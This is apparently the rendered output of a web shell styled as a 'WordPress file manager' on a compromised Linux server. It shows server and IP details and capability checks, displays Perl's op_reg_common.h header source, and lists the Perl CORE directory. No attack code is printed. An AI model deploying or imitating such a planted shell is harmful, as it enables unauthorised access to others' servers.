✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/lib64/perl5/CORE//op_reg_common.h
/*    op_reg_common.h
 *
 *    Definitions common to by op.h and regexp.h
 *
 *    Copyright (C) 2010, 2011 by Larry Wall and others
 *
 *    You may distribute under the terms of either the GNU General Public
 *    License or the Artistic License, as specified in the README file.
 *
 */

/* These defines are used in both op.h and regexp.h  The definitions use the
 * shift form so that ext/B/Makefile.PL will pick them up.
 *
 * Data structures used in the two headers have common fields, and in fact one
 * is copied onto the other.  This makes it easy to keep them in sync */

/* This tells where the first of these bits is.  Setting it to 0 saved cycles
 * and memory.  I (khw) think the code will work if changed back, but haven't
 * tested it */
/* Make sure to update ext/re/re.pm when changing this! */
#ifndef RXf_PMf_STD_PMMOD_SHIFT /* Only expand #include of this file once */

#define RXf_PMf_STD_PMMOD_SHIFT 0

/* The bits need to be ordered so that the msixn are contiguous starting at bit
 * RXf_PMf_STD_PMMOD_SHIFT, followed by the p.  See STD_PAT_MODS and
 * INT_PAT_MODS in regexp.h for the reason contiguity is needed */
/* Make sure to update lib/re.pm when changing these! */
/* Make sure you keep the pure PMf_ versions below in sync */
#define RXf_PMf_MULTILINE      (1U << (RXf_PMf_STD_PMMOD_SHIFT+0))    /* /m */
#define RXf_PMf_SINGLELINE     (1U << (RXf_PMf_STD_PMMOD_SHIFT+1))    /* /s */
#define RXf_PMf_FOLD           (1U << (RXf_PMf_STD_PMMOD_SHIFT+2))    /* /i */
#define RXf_PMf_EXTENDED       (1U << (RXf_PMf_STD_PMMOD_SHIFT+3))    /* /x */
#define RXf_PMf_EXTENDED_MORE  (1U << (RXf_PMf_STD_PMMOD_SHIFT+4))    /* /xx */
#define RXf_PMf_NOCAPTURE      (1U << (RXf_PMf_STD_PMMOD_SHIFT+5))    /* /n */

#define RXf_PMf_KEEPCOPY       (1U << (RXf_PMf_STD_PMMOD_SHIFT+6))    /* /p */

/* The character set for the regex is stored in a field of more than one bit
 * using an enum, for reasons of compactness and to ensure that the options are
 * mutually exclusive */
/* Make sure to update ext/re/re.pm and regcomp.sym (as these are used as
 * offsets for various node types, like POSIXD vs POSIXL, etc) when changing
 * this! */
typedef enum {
    REGEX_DEPENDS_CHARSET = 0,
    REGEX_LOCALE_CHARSET,
    REGEX_UNICODE_CHARSET,
    REGEX_ASCII_RESTRICTED_CHARSET,
    REGEX_ASCII_MORE_RESTRICTED_CHARSET
} regex_charset;

#define _RXf_PMf_CHARSET_SHIFT ((RXf_PMf_STD_PMMOD_SHIFT)+7)
#define RXf_PMf_CHARSET (7U << (_RXf_PMf_CHARSET_SHIFT)) /* 3 bits */

/* Manually decorate these functions here with gcc-style attributes just to
 * avoid making the regex_charset typedef global, which it would need to be for
 * proto.h to understand it */
PERL_STATIC_INLINE void
set_regex_charset(U32 * const flags, const regex_charset cs)
    __attribute__nonnull__(1);

PERL_STATIC_INLINE void
set_regex_charset(U32 * const flags, const regex_charset cs)
{
    /* Sets the character set portion of 'flags' to 'cs', which is a member of
     * the above enum */

    *flags &= ~RXf_PMf_CHARSET;
    *flags |= (cs << _RXf_PMf_CHARSET_SHIFT);
}

PERL_STATIC_INLINE regex_charset
get_regex_charset(const U32 flags)
    __attribute__warn_unused_result__;

PERL_STATIC_INLINE regex_charset
get_regex_charset(const U32 flags)
{
    /* Returns the enum corresponding to the character set in 'flags' */

    return (regex_charset) ((flags & RXf_PMf_CHARSET) >> _RXf_PMf_CHARSET_SHIFT);
}

#define RXf_PMf_STRICT (1U<<(RXf_PMf_STD_PMMOD_SHIFT+10))

#define _RXf_PMf_SHIFT_COMPILETIME (RXf_PMf_STD_PMMOD_SHIFT+11)


/*
  Set in Perl_pmruntime if op_flags & OPf_SPECIAL, i.e. split. Will
  be used by regex engines to check whether they should set
  RXf_SKIPWHITE
*/
#define RXf_PMf_SPLIT (1U<<(RXf_PMf_STD_PMMOD_SHIFT+11))

/* Next available bit after the above.  Name begins with '_' so won't be
 * exported by B */
#define _RXf_PMf_SHIFT_NEXT (RXf_PMf_STD_PMMOD_SHIFT+12)

/* Mask of the above bits.  These need to be transferred from op_pmflags to
 * re->extflags during compilation */
#define RXf_PMf_COMPILETIME    (RXf_PMf_MULTILINE|RXf_PMf_SINGLELINE|RXf_PMf_FOLD|RXf_PMf_EXTENDED|RXf_PMf_EXTENDED_MORE|RXf_PMf_KEEPCOPY|RXf_PMf_NOCAPTURE|RXf_PMf_CHARSET|RXf_PMf_STRICT)
#define RXf_PMf_FLAGCOPYMASK   (RXf_PMf_COMPILETIME|RXf_PMf_SPLIT)

/* Temporary to get Jenkins happy again
 * See thread starting at http://nntp.perl.org/group/perl.perl5.porters/220710
 */
#if 0
    /* Exclude win32 because it can't cope with I32_MAX definition */
#ifndef WIN32
#   if RXf_PMf_COMPILETIME > I32_MAX
#     error RXf_PMf_COMPILETIME wont fit in arg2 field of eval node
#   endif
#endif
#endif

/* These copies need to be numerical or ext/B/Makefile.PL won't think they are
 * constants */
#define PMf_MULTILINE     (1U<<0)
#define PMf_SINGLELINE    (1U<<1)
#define PMf_FOLD          (1U<<2)
#define PMf_EXTENDED      (1U<<3)
#define PMf_EXTENDED_MORE (1U<<4)
#define PMf_NOCAPTURE     (1U<<5)
#define PMf_KEEPCOPY      (1U<<6)
#define PMf_CHARSET       (7U<<7)
#define PMf_STRICT        (1U<<10)
#define PMf_SPLIT         (1U<<11)

#if PMf_MULTILINE != RXf_PMf_MULTILINE || PMf_SINGLELINE != RXf_PMf_SINGLELINE || PMf_FOLD != RXf_PMf_FOLD || PMf_EXTENDED != RXf_PMf_EXTENDED || PMf_EXTENDED_MORE != RXf_PMf_EXTENDED_MORE || PMf_KEEPCOPY != RXf_PMf_KEEPCOPY || PMf_SPLIT != RXf_PMf_SPLIT || PMf_CHARSET != RXf_PMf_CHARSET || PMf_NOCAPTURE != RXf_PMf_NOCAPTURE || PMf_STRICT != RXf_PMf_STRICT
#   error RXf_PMf defines are wrong
#endif

/*  Error check that haven't left something out of this.  This isn't done
 *  directly in the #define because doing so confuses regcomp.pl.
 *  (2**n - 1) is n 1 bits, so the below gets the contiguous bits between the
 *  beginning and ending shifts */
#if RXf_PMf_COMPILETIME != (((1 << (_RXf_PMf_SHIFT_COMPILETIME))-1) \
                            & (~((1 << RXf_PMf_STD_PMMOD_SHIFT)-1)))
#   error RXf_PMf_COMPILETIME is invalid
#endif

#endif /* Include only once */

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
17 Jan 2026 3.17 PM
root / root
0755
EXTERN.h
1.592 KB
28 Jul 2025 3.53 AM
root / root
0644
INTERN.h
1.278 KB
28 Jul 2025 3.53 AM
root / root
0644
XSUB.h
24.03 KB
28 Jul 2025 3.53 AM
root / root
0644
av.h
3.274 KB
28 Jul 2025 3.53 AM
root / root
0644
bitcount.h
0.83 KB
28 Jul 2025 3.53 AM
root / root
0644
charclass_invlists.h
4.15 MB
28 Jul 2025 3.53 AM
root / root
0644
config.h
160.516 KB
28 Jul 2025 3.53 AM
root / root
0644
cop.h
41.013 KB
28 Jul 2025 3.53 AM
root / root
0644
cv.h
12.043 KB
28 Jul 2025 3.53 AM
root / root
0644
dosish.h
5.297 KB
28 Jul 2025 3.53 AM
root / root
0644
ebcdic_tables.h
48.597 KB
28 Jul 2025 3.53 AM
root / root
0644
embed.h
98.864 KB
28 Jul 2025 3.53 AM
root / root
0644
embedvar.h
21.321 KB
28 Jul 2025 3.53 AM
root / root
0644
fakesdio.h
3.135 KB
28 Jul 2025 3.53 AM
root / root
0644
feature.h
10.795 KB
28 Jul 2025 3.53 AM
root / root
0644
form.h
1.429 KB
28 Jul 2025 3.53 AM
root / root
0644
git_version.h
0.349 KB
28 Jul 2025 3.53 AM
root / root
0644
gv.h
10.46 KB
28 Jul 2025 3.53 AM
root / root
0644
handy.h
126.719 KB
28 Jul 2025 3.53 AM
root / root
0644
hv.h
24.993 KB
28 Jul 2025 3.53 AM
root / root
0644
hv_func.h
11.26 KB
28 Jul 2025 3.53 AM
root / root
0644
hv_macro.h
3.036 KB
28 Jul 2025 3.53 AM
root / root
0644
inline.h
72.992 KB
28 Jul 2025 3.53 AM
root / root
0644
intrpvar.h
31.472 KB
28 Jul 2025 3.53 AM
root / root
0644
invlist_inline.h
7.255 KB
28 Jul 2025 3.53 AM
root / root
0644
iperlsys.h
48.234 KB
28 Jul 2025 3.53 AM
root / root
0644
keywords.h
6.454 KB
28 Jul 2025 3.53 AM
root / root
0644
l1_char_class_tab.h
119.641 KB
28 Jul 2025 3.53 AM
root / root
0644
libperl.so
3.55 MB
28 Jul 2025 3.54 AM
root / root
0755
malloc_ctl.h
1.488 KB
28 Jul 2025 3.53 AM
root / root
0644
metaconfig.h
0.676 KB
28 Jul 2025 3.53 AM
root / root
0644
mg.h
2.942 KB
28 Jul 2025 3.53 AM
root / root
0644
mg_data.h
4.903 KB
28 Jul 2025 3.53 AM
root / root
0644
mg_raw.h
4.274 KB
28 Jul 2025 3.53 AM
root / root
0644
mg_vtable.h
9.338 KB
28 Jul 2025 3.53 AM
root / root
0644
mydtrace.h
1.653 KB
28 Jul 2025 3.53 AM
root / root
0644
nostdio.h
3.313 KB
28 Jul 2025 3.53 AM
root / root
0644
op.h
37.352 KB
28 Jul 2025 3.53 AM
root / root
0644
op_reg_common.h
5.772 KB
28 Jul 2025 3.53 AM
root / root
0644
opcode.h
91.727 KB
28 Jul 2025 3.53 AM
root / root
0644
opnames.h
8.718 KB
28 Jul 2025 3.53 AM
root / root
0644
overload.h
3.199 KB
28 Jul 2025 3.53 AM
root / root
0644
pad.h
16.828 KB
28 Jul 2025 3.53 AM
root / root
0644
parser.h
6.829 KB
28 Jul 2025 3.53 AM
root / root
0644
patchlevel.h
8.887 KB
28 Jul 2025 3.53 AM
root / root
0644
perl.h
276.921 KB
28 Jul 2025 3.53 AM
root / root
0644
perl_inc_macro.h
6.077 KB
28 Jul 2025 3.53 AM
root / root
0644
perl_langinfo.h
2.846 KB
28 Jul 2025 3.53 AM
root / root
0644
perlapi.h
7.5 KB
28 Jul 2025 3.53 AM
root / root
0644
perldtrace.h
3.224 KB
28 Jul 2025 3.53 AM
root / root
0644
perlio.h
9.331 KB
28 Jul 2025 3.53 AM
root / root
0644
perliol.h
13.438 KB
28 Jul 2025 3.53 AM
root / root
0644
perlsdio.h
0.515 KB
28 Jul 2025 3.53 AM
root / root
0644
perlvars.h
12.631 KB
28 Jul 2025 3.53 AM
root / root
0644
perly.h
4.579 KB
28 Jul 2025 3.53 AM
root / root
0644
pp.h
28.302 KB
28 Jul 2025 3.53 AM
root / root
0644
pp_proto.h
11.784 KB
28 Jul 2025 3.53 AM
root / root
0644
proto.h
270.998 KB
28 Jul 2025 3.53 AM
root / root
0644
reentr.h
84.608 KB
28 Jul 2025 3.53 AM
root / root
0644
regcharclass.h
163.816 KB
28 Jul 2025 3.53 AM
root / root
0644
regcomp.h
51.811 KB
28 Jul 2025 3.53 AM
root / root
0644
regexp.h
35.751 KB
28 Jul 2025 3.53 AM
root / root
0644
regnodes.h
39.404 KB
28 Jul 2025 3.53 AM
root / root
0644
sbox32_hash.h
55.951 KB
28 Jul 2025 3.53 AM
root / root
0644
scope.h
11.614 KB
28 Jul 2025 3.53 AM
root / root
0644
stadtx_hash.h
9.005 KB
28 Jul 2025 3.53 AM
root / root
0644
sv.h
86.815 KB
28 Jul 2025 3.53 AM
root / root
0644
thread.h
11.812 KB
28 Jul 2025 3.53 AM
root / root
0644
time64.h
1.141 KB
28 Jul 2025 3.53 AM
root / root
0644
time64_config.h
2 KB
28 Jul 2025 3.53 AM
root / root
0644
uconfig.h
160.08 KB
28 Jul 2025 3.53 AM
root / root
0644
uni_keywords.h
541.71 KB
28 Jul 2025 3.53 AM
root / root
0644
unicode_constants.h
7.843 KB
28 Jul 2025 3.53 AM
root / root
0644
unixish.h
5.146 KB
28 Jul 2025 3.53 AM
root / root
0644
utf8.h
49.249 KB
28 Jul 2025 3.53 AM
root / root
0644
utfebcdic.h
64.098 KB
28 Jul 2025 3.53 AM
root / root
0644
util.h
10.327 KB
28 Jul 2025 3.53 AM
root / root
0644
uudmap.h
0.883 KB
28 Jul 2025 3.53 AM
root / root
0644
vutil.h
7.806 KB
28 Jul 2025 3.53 AM
root / root
0644
warnings.h
11.195 KB
28 Jul 2025 3.53 AM
root / root
0644
zaphod32_hash.h
9.432 KB
28 Jul 2025 3.53 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF